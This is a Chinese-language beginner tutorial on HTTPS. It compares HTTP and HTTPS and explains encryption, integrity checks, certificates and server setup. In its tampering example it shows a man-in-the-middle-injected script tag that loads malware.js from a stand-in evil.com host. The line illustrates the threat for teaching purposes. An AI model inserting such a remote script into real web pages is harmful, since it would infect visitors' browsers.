目錄
03-1. HTTPS 是什麼?
⏱️ 閱讀時間: 10 分鐘 🎯 難度: ⭐⭐ (簡單)
🎯 本篇重點
理解 HTTPS 的基本概念、HTTP 和 HTTPS 的差異、為什麼需要 HTTPS,以及 HTTPS 如何保護我們的資料安全。
🤔 什麼是 HTTPS?
HTTPS (HTTP Secure) = 安全的 HTTP
一句話解釋: HTTPS 就像是在 HTTP 外面包了一層「防彈裝甲」,所有傳輸的資料都經過加密,別人偷看也看不懂。
HTTP = 明信片(任何人都能看到內容)
HTTPS = 密封信件(只有收件人能看到內容)📮 用寄信來比喻 HTTP vs HTTPS
HTTP = 明信片
你寫一張明信片寄給朋友:
內容:
「親愛的小明,
我的銀行帳號是 123456789
密碼是 password123」
問題:
├─ 郵差可以看到內容 👁️
├─ 郵局人員可以看到內容 👁️
├─ 中途任何人都能看到 👁️
└─ 有人可能修改內容 ✏️
結果:
你的帳號密碼可能被盜!HTTPS = 密封信件(加密)
你把信放進信封,用特殊的鎖封起來:
外觀:
一個密封的信封 📩
只有收件人有鑰匙 🔑
過程:
1. 你用收件人的「公鑰」把信封鎖起來
2. 郵差運送(看不到內容)
3. 收件人用自己的「私鑰」打開信封
4. 讀取內容
優點:
✅ 郵差看不到內容(加密)
✅ 中途無法修改(完整性)
✅ 確認收件人身份(驗證)
結果:
你的資料安全!🏗️ HTTPS 在網路模型中的位置
OSI 7 層模型
┌──────────────────────────────┬──────────────────────────┐
│ 7. Application Layer (應用層) │ HTTPS, HTTP │ ← HTTPS 在這裡
├──────────────────────────────┼──────────────────────────┤
│ 6. Presentation Layer (表示層)│ SSL/TLS (加密、壓縮) │ ← SSL/TLS 在這裡
├──────────────────────────────┼──────────────────────────┤
│ 5. Session Layer (會話層) │ 建立、維護會話 │
├──────────────────────────────┼──────────────────────────┤
│ 4. Transport Layer (傳輸層) │ TCP │
├──────────────────────────────┼──────────────────────────┤
│ 3. Network Layer (網路層) │ IP │
├──────────────────────────────┼──────────────────────────┤
│ 2. Data Link Layer (資料鏈結層)│ Ethernet │
├──────────────────────────────┼──────────────────────────┤
│ 1. Physical Layer (實體層) │ 網路線、光纖 │
└──────────────────────────────┴──────────────────────────┘HTTPS 位於第 7 層(應用層),SSL/TLS 位於第 6 層(表示層)
- HTTPS = HTTP + SSL/TLS
- SSL/TLS 提供加密、身份驗證、完整性保護
- 使用者透過瀏覽器安全訪問網站
TCP/IP 4 層模型
┌─────────────────────────────┬──────────────────────────┐
│ 4. Application Layer (應用層) │ HTTPS (HTTP + SSL/TLS) │ ← HTTPS 在這裡
├─────────────────────────────┼──────────────────────────┤
│ 3. Transport Layer (傳輸層) │ TCP │
├─────────────────────────────┼──────────────────────────┤
│ 2. Internet Layer (網際網路層)│ IP │
├─────────────────────────────┼──────────────────────────┤
│ 1. Network Access (網路存取層)│ Ethernet │
└─────────────────────────────┴──────────────────────────┘HTTPS 位於第 4 層(應用層)
- 在 TCP/IP 模型中,HTTPS 和 SSL/TLS 都歸類為應用層
- 使用 TCP 作為傳輸層協定(Port 443)
- TCP 提供可靠的連線導向傳輸
對比表:
| 協定 | OSI 層級 | TCP/IP 層級 | 底層協定 | Port |
|---|---|---|---|---|
| HTTP | Layer 7 (應用層) | Layer 4 (應用層) | TCP | 80 |
| HTTPS | Layer 7 (應用層) | Layer 4 (應用層) | TCP | 443 |
| SSL/TLS | Layer 6 (表示層) | Layer 4 (應用層) | TCP | - |
重點:
- HTTPS = HTTP + SSL/TLS(在 HTTP 上加一層加密)
- HTTP 使用 Port 80,HTTPS 使用 Port 443
- SSL/TLS 在 OSI 模型中屬於表示層(處理加密)
- 在 TCP/IP 模型中,HTTPS 整體屬於應用層
HTTPS 的層級架構:
應用層:HTTP(網頁內容)
↓
表示層:SSL/TLS(加密、認證)
↓
傳輸層:TCP(可靠傳輸)
↓
網路層:IP(路由)🔍 HTTP vs HTTPS 詳細對比
核心差異
HTTP(明文傳輸):
你的電腦 → 路由器 → ISP → 伺服器
↑ ↑ ↑
可被竊聽 可被竊聽 可被竊聽
資料內容:
GET /login?username=john&password=123456
→ 任何人都能看到帳號密碼!
HTTPS(加密傳輸):
你的電腦 → 加密 → 路由器 → ISP → 伺服器
↓ ↓ ↓
看不懂 看不懂 看不懂
資料內容:
sD9fj#$kL@mN... (加密後的亂碼)
→ 只有伺服器能解密!完整對比表
| 特性 | HTTP | HTTPS |
|---|---|---|
| 安全性 | ❌ 不安全 | ✅ 安全 |
| 加密 | ❌ 明文傳輸 | ✅ 加密傳輸 |
| 資料完整性 | ❌ 可被竄改 | ✅ 防止竄改 |
| 身份驗證 | ❌ 無法驗證 | ✅ 數位憑證驗證 |
| Port | 80 | 443 |
| URL | http:// | https:// |
| 瀏覽器標示 | 不安全 ⚠️ | 安全 🔒 |
| SEO | 較低 | 較高(Google 優先) |
| 效能 | 快 | 稍慢(加密開銷) |
| 憑證 | ❌ 不需要 | ✅ 需要 SSL/TLS 憑證 |
🚨 HTTP 的三大安全問題
1️⃣ 竊聽(Eavesdropping)
問題:
資料以明文傳輸,任何人都能攔截並讀取
場景:咖啡廳 Wi-Fi
你:連上咖啡廳的免費 Wi-Fi
你:打開 http://bank.com 登入
你:輸入帳號:john、密碼:123456
駭客(在同一個 Wi-Fi):
使用 Wireshark 抓包
→ 看到明文:username=john&password=123456
→ 盜取你的帳號!
實際抓包範例:
POST /login HTTP/1.1
Host: bank.com
Content-Type: application/x-www-form-urlencoded
username=john&password=123456
→ 完全暴露!2️⃣ 篡改(Tampering)
問題:
資料在傳輸過程中可能被修改
場景:中間人攻擊(MITM)
你:訪問 http://news.com
你:看到一篇新聞
中間人(ISP、路由器):
攔截伺服器的回應
→ 修改 HTML,植入惡意腳本
→ 你的瀏覽器執行惡意程式
→ 電腦中毒!
原始回應:
<html>
<body>
<h1>今日新聞</h1>
</body>
</html>
被修改的回應:
<html>
<body>
<h1>今日新聞</h1>
<script src="http://evil.com/malware.js"></script>
</body>
</html>
→ 你完全不知道被修改了!3️⃣ 偽裝(Impersonation)
問題:
無法驗證伺服器的真實身份
場景:釣魚網站
你:想訪問 http://bank.com
駭客:在你的 DNS 或路由器動手腳
你:實際訪問到 http://bank-fake.com(假網站)
你:完全看不出來,因為頁面一模一樣
你:輸入帳號密碼
駭客:取得你的帳號密碼!
問題:
- HTTP 沒有身份驗證
- 你無法確認對方真的是 bank.com
- 假網站可以完美偽裝🛡️ HTTPS 如何解決這三個問題
1️⃣ 加密(Encryption)→ 防止竊聽
HTTPS 使用 SSL/TLS 加密所有資料
過程:
你的電腦:
{"username": "john", "password": "123456"}
↓
加密(使用伺服器的公鑰):
sD9fj#$kL@mNpQ2vX8wZ...
↓
傳輸(駭客看到的是亂碼):
sD9fj#$kL@mNpQ2vX8wZ...
↓
伺服器(使用私鑰解密):
{"username": "john", "password": "123456"}
駭客抓包看到:
sD9fj#$kL@mNpQ2vX8wZ...
→ 完全看不懂!
→ 無法破解(除非有私鑰)
加密演算法:
- 對稱加密:AES-256
- 非對稱加密:RSA-2048, ECDSA2️⃣ 完整性檢查(Integrity)→ 防止篡改
HTTPS 使用訊息驗證碼(MAC)確保資料完整性
過程:
伺服器:
1. 產生回應內容
<html><body>Hello</body></html>
2. 計算 HMAC(雜湊訊息驗證碼)
HMAC = Hash(內容 + 密鑰)
= "abc123def456..."
3. 發送:內容 + HMAC
客戶端:
1. 收到:內容 + HMAC
2. 重新計算 HMAC
HMAC' = Hash(收到的內容 + 密鑰)
3. 比對
if (HMAC == HMAC'):
✅ 資料完整,未被修改
else:
❌ 資料被篡改,拒絕!
如果中間人修改內容:
- 修改後的 HMAC 會不一致
- 客戶端會察覺並拒絕3️⃣ 身份驗證(Authentication)→ 防止偽裝
HTTPS 使用數位憑證驗證伺服器身份
過程:
1. 伺服器向憑證機構(CA)申請憑證
- CA:如 Let's Encrypt、DigiCert
2. CA 驗證伺服器真的擁有該網域
- DNS 驗證
- 檔案驗證
3. CA 發行數位憑證給伺服器
- 憑證包含:網域名稱、公鑰、有效期
- CA 的數位簽章
4. 客戶端連線時
瀏覽器:請給我你的憑證
伺服器:這是我的憑證 📜
5. 瀏覽器驗證憑證
├─ 檢查憑證是否由可信任的 CA 發行 ✅
├─ 檢查憑證是否過期 ✅
├─ 檢查網域名稱是否吻合 ✅
└─ 檢查憑證是否被撤銷 ✅
6. 驗證通過
瀏覽器:顯示 🔒(安全)
建立加密連線
如果是假網站:
- 無法取得真正 bank.com 的憑證
- 使用假憑證會被瀏覽器警告 ⚠️
- 用戶看到警告會離開🔐 HTTPS 的運作流程
簡化版
【第 1 步:建立連線】
客戶端 → 伺服器:你好,我想建立安全連線
伺服器 → 客戶端:好的,這是我的憑證 📜
【第 2 步:驗證憑證】
客戶端:檢查憑證...
├─ CA 是可信任的嗎? ✅
├─ 憑證過期了嗎? ✅
└─ 網域名稱對嗎? ✅
【第 3 步:交換金鑰】
客戶端:產生隨機數(會話金鑰)
客戶端 → 伺服器:用你的公鑰加密的會話金鑰
伺服器:用私鑰解密,取得會話金鑰
【第 4 步:加密通訊】
雙方都有相同的會話金鑰
所有後續通訊都用此金鑰加密
客戶端 ⇄ 伺服器(加密通訊)🌐 瀏覽器如何顯示 HTTPS
安全連線(HTTPS)
Chrome 瀏覽器:
🔒 https://www.google.com
點擊 🔒 圖示:
├─ 連線安全
├─ 憑證有效
├─ 由 Google Trust Services LLC 發行
└─ 有效期至 2025-04-01
Safari:
🔒 google.com
Firefox:
🔒 www.google.com不安全連線(HTTP)
Chrome:
⚠️ 不安全 http://example.com
警告:
- 您與這個網站的連線不安全
- 請勿在此網站上輸入任何敏感資訊憑證錯誤
瀏覽器警告:
⚠️ 您的連線不是私人連線
原因:
├─ 憑證過期
├─ 憑證網域不符
├─ 自簽憑證(不受信任的 CA)
└─ 憑證被撤銷
顯示:
「攻擊者可能正試圖竊取您的資訊」
選項:
[返回安全頁面] [進階設定]
不建議:
繼續前往(非常危險)💰 HTTPS 的優缺點
優點
1. 資料安全 🔒
- 加密傳輸,防止竊聽
- 敏感資訊(密碼、信用卡)受保護
2. 資料完整性 ✅
- 防止竄改
- 確保收到的資料是原始資料
3. 身份驗證 🆔
- 確認網站真實性
- 防止釣魚網站
4. SEO 優勢 📈
- Google 優先排名 HTTPS 網站
- Chrome 標記 HTTP 為「不安全」
5. 用戶信任 👍
- 瀏覽器顯示 🔒
- 提升用戶信心
6. HTTP/2 支援 🚀
- HTTP/2 幾乎都需要 HTTPS
- 更快的載入速度
7. 現代功能需求 📱
- Service Workers(PWA)
- Geolocation API
- 許多新 API 都要求 HTTPS缺點
1. 效能開銷 ⏱️
- 加密/解密需要運算
- TLS 握手增加延遲(約 100-200ms)
- 但現代硬體影響很小
2. 憑證成本 💵
- 商業 CA 憑證需要費用
- 但 Let's Encrypt 提供免費憑證
3. 設定複雜度 🔧
- 需要申請和設定憑證
- 需要定期更新憑證
- 但自動化工具(Certbot)簡化了流程
4. 除錯困難 🐛
- 無法直接查看加密內容
- 需要特殊工具(如 Wireshark + 私鑰)
5. 快取限制 📦
- 某些中間代理無法快取 HTTPS 內容
- 但 CDN 可以解決🚀 如何啟用 HTTPS
方法 1:Let’s Encrypt(免費)
# 安裝 Certbot
sudo apt-get update
sudo apt-get install certbot python3-certbot-nginx
# 申請憑證(Nginx)
sudo certbot --nginx -d example.com -d www.example.com
# 自動更新憑證
sudo certbot renew --dry-run
# 憑證每 90 天過期,自動更新
sudo systemctl enable certbot.timer方法 2:商業 CA(付費)
步驟:
1. 選擇 CA 供應商
- DigiCert
- GlobalSign
- Comodo
2. 購買憑證(年費 $50-$500+)
3. 產生 CSR(憑證簽署請求)
openssl req -new -newkey rsa:2048 -nodes \
-keyout example.com.key -out example.com.csr
4. 提交 CSR 給 CA
5. CA 驗證網域所有權
6. CA 發行憑證
7. 安裝憑證到伺服器方法 3:Cloudflare(免費代理)
步驟:
1. 註冊 Cloudflare 帳號
2. 新增網站
3. 修改 DNS 指向 Cloudflare
4. 啟用 SSL/TLS
- Flexible(Cloudflare ↔ 客戶端加密)
- Full(Cloudflare ↔ 伺服器也加密)
- Full (Strict)(驗證憑證)
5. 完成!
優點:
✅ 免費
✅ 自動憑證管理
✅ 附加 CDN、DDoS 防護Nginx 設定範例
server {
listen 80;
server_name example.com www.example.com;
# 強制重新導向到 HTTPS
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl http2;
server_name example.com www.example.com;
# SSL 憑證
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
# SSL 設定
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
# HSTS(強制 HTTPS)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# 其他安全標頭
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
location / {
root /var/www/html;
index index.html;
}
}📊 HTTPS 普及率
統計(2024):
- 全球前 100 萬網站:95%+ 使用 HTTPS
- Google 流量:99%+ 使用 HTTPS
- Firefox 載入的網頁:90%+ 使用 HTTPS
趨勢:
2015:40% HTTPS
2018:70% HTTPS
2020:85% HTTPS
2024:95%+ HTTPS
驅動因素:
1. Let's Encrypt(2015 推出免費憑證)
2. Google Chrome 標記 HTTP 為「不安全」(2018)
3. HTTP/2 需要 HTTPS(2015)
4. SEO 優勢(Google 優先 HTTPS)
5. 用戶安全意識提升🎓 面試常見問題
Q1:HTTP 和 HTTPS 有什麼差異?
A:主要差異在安全性
HTTP(不安全):
❌ 明文傳輸(可被竊聽)
❌ 可被篡改
❌ 無法驗證身份
- Port 80
- URL: http://
HTTPS(安全):
✅ 加密傳輸(防止竊聽)
✅ 完整性檢查(防止篡改)
✅ 身份驗證(防止偽裝)
- Port 443
- URL: https://
- 需要 SSL/TLS 憑證
技術實現:
HTTPS = HTTP + SSL/TLS
比喻:
HTTP = 明信片(任何人都能看)
HTTPS = 密封信件(只有收件人能看)
結論:
- 現代網站應該全部使用 HTTPS
- Chrome 已將 HTTP 標記為「不安全」
- Google SEO 優先 HTTPSQ2:HTTPS 如何保證安全?
A:三個機制保證安全
1. 加密(Encryption)
- 使用 SSL/TLS 加密所有資料
- 對稱加密:AES-256(資料傳輸)
- 非對稱加密:RSA/ECDSA(金鑰交換)
範例:
明文:{"password": "123456"}
加密:sD9fj#$kL@mNpQ2vX8wZ...
→ 駭客看不懂
2. 完整性(Integrity)
- 使用 HMAC(雜湊訊息驗證碼)
- 檢查資料是否被修改
範例:
伺服器:內容 + HMAC = Hash(內容 + 密鑰)
客戶端:重新計算 HMAC,比對
→ 不一致 = 被竄改
3. 身份驗證(Authentication)
- 使用數位憑證
- 由可信任的 CA 發行
範例:
伺服器:這是我的憑證 📜
瀏覽器:
├─ CA 可信任嗎? ✅
├─ 憑證過期了嗎? ✅
├─ 網域名稱對嗎? ✅
└─ 憑證被撤銷了嗎? ✅
總結:
加密 → 別人看不懂
完整性 → 無法修改
身份驗證 → 確認是真網站Q3:HTTPS 會影響效能嗎?
A:有一點影響,但幾乎可以忽略
效能影響:
1. TLS 握手(初次連線)
- 增加 1-2 RTT(往返時間)
- 約 100-200ms 延遲
但可以優化:
- TLS 1.3:只需 1-RTT(TLS 1.2 需要 2-RTT)
- TLS Session Resumption(會話恢復)
- 0-RTT(零往返時間)
2. 加密/解密運算
- CPU 需要處理加密
- 現代 CPU 有硬體加速(AES-NI)
- 影響 < 1%
3. 記憶體使用
- 需要儲存 TLS 狀態
- 增加約 10KB/連線
實際影響:
- Google 測試:HTTPS 開銷 < 1%
- Cloudflare:HTTPS 甚至可能更快(HTTP/2)
為什麼可能更快?
- HTTP/2 需要 HTTPS
- HTTP/2 有多工、標頭壓縮
- 整體效能可能更好
結論:
效能影響極小,安全性好處遠大於效能損失
現代最佳實踐:
✅ 所有網站都應該用 HTTPS
✅ 效能優化:啟用 HTTP/2、使用 CDNQ4:HTTPS 可以被破解嗎?
A:理論上可以,但實際上幾乎不可能
理論破解方法:
1. 暴力破解(Brute Force)
- AES-256 有 2^256 種可能
- 假設每秒嘗試 10^18 次
- 需要 10^59 年才能破解
- 宇宙年齡才 10^10 年
→ 不可能
2. 量子電腦
- 理論上可以破解 RSA
- 但 AES-256 仍然安全
- 量子電腦尚未成熟
- 可以升級到抗量子演算法
3. 中間人攻擊(MITM)
- 攔截並解密流量
- 但需要偽造憑證
- 瀏覽器會警告 ⚠️
- 用戶會發現
4. 協定漏洞
- 舊版 SSL/TLS 有漏洞
- 如 SSLv3(POODLE)、TLS 1.0
- 解決:使用 TLS 1.2/1.3
5. 實作漏洞
- Heartbleed(OpenSSL 漏洞)
- 解決:定期更新軟體
6. 社交工程
- 釣魚網站
- 用戶主動告知密碼
- 技術無法防護
實際攻擊案例:
大多數「HTTPS 被破解」其實是:
- 用戶安裝了惡意根憑證
- 用戶忽略瀏覽器警告
- 用戶被釣魚
- 軟體/協定漏洞(已修補)
結論:
✅ 正確實作的 HTTPS 非常安全
✅ 使用最新版本 TLS(1.2/1.3)
✅ 定期更新軟體
✅ 不要忽略瀏覽器警告Q5:為什麼有些網站還在用 HTTP?
A:主要原因和逐漸消失的趨勢
原因:
1. 歷史包袱(Legacy)
- 很舊的網站
- 沒有維護
2. 技術能力不足
- 不知道如何設定 HTTPS
- 怕設定錯誤
3. 成本考量(已不是問題)
- 以前 SSL 憑證很貴
- 現在 Let's Encrypt 免費
4. 效能迷思(已過時)
- 以前認為 HTTPS 很慢
- 現代硬體影響極小
5. 不需要(錯誤觀念)
- 「我們沒有處理敏感資訊」
- 但仍需要防止竄改、釣魚
6. 混合內容問題
- HTTPS 頁面載入 HTTP 資源
- 瀏覽器會阻擋
- 需要更新所有資源連結
趨勢:
2024 年已有 95%+ 網站使用 HTTPS
推動因素:
1. Let's Encrypt(2015)- 免費憑證
2. Chrome 標記 HTTP 為「不安全」
3. Google SEO 優先 HTTPS
4. HTTP/2 需要 HTTPS
5. 許多新 API 要求 HTTPS
未來:
- HTTP 將完全被淘汰
- 所有網站都應該使用 HTTPS
建議:
如果你還在用 HTTP:
✅ 立即升級到 HTTPS
✅ 使用 Let's Encrypt 免費憑證
✅ 設定自動更新✅ 重點回顧
HTTPS 定義:
- HTTPS = HTTP + SSL/TLS
- 安全的 HTTP 通訊協定
三大安全保障:
- 加密(Encryption) - 防止竊聽
- 完整性(Integrity) - 防止篡改
- 身份驗證(Authentication) - 防止偽裝
HTTP vs HTTPS:
- HTTP:明文、不安全、Port 80
- HTTPS:加密、安全、Port 443
HTTPS 優點:
- ✅ 資料安全(加密傳輸)
- ✅ 防止竄改(完整性檢查)
- ✅ 身份驗證(數位憑證)
- ✅ SEO 優勢(Google 優先)
- ✅ 用戶信任(瀏覽器 🔒)
如何啟用:
- Let’s Encrypt(免費)
- 商業 CA(付費)
- Cloudflare(免費代理)
面試重點:
- ✅ HTTPS 三大安全機制
- ✅ 效能影響極小(< 1%)
- ✅ 正確實作幾乎無法破解
- ✅ 現代網站必須使用 HTTPS
記憶比喻:
- HTTP = 明信片(任何人都能看)
- HTTPS = 密封信件(只有收件人能看)
上一篇: 02-5. HTTP Headers 詳解 下一篇: 03-2. SSL/TLS 加密原理
最後更新:2025-01-06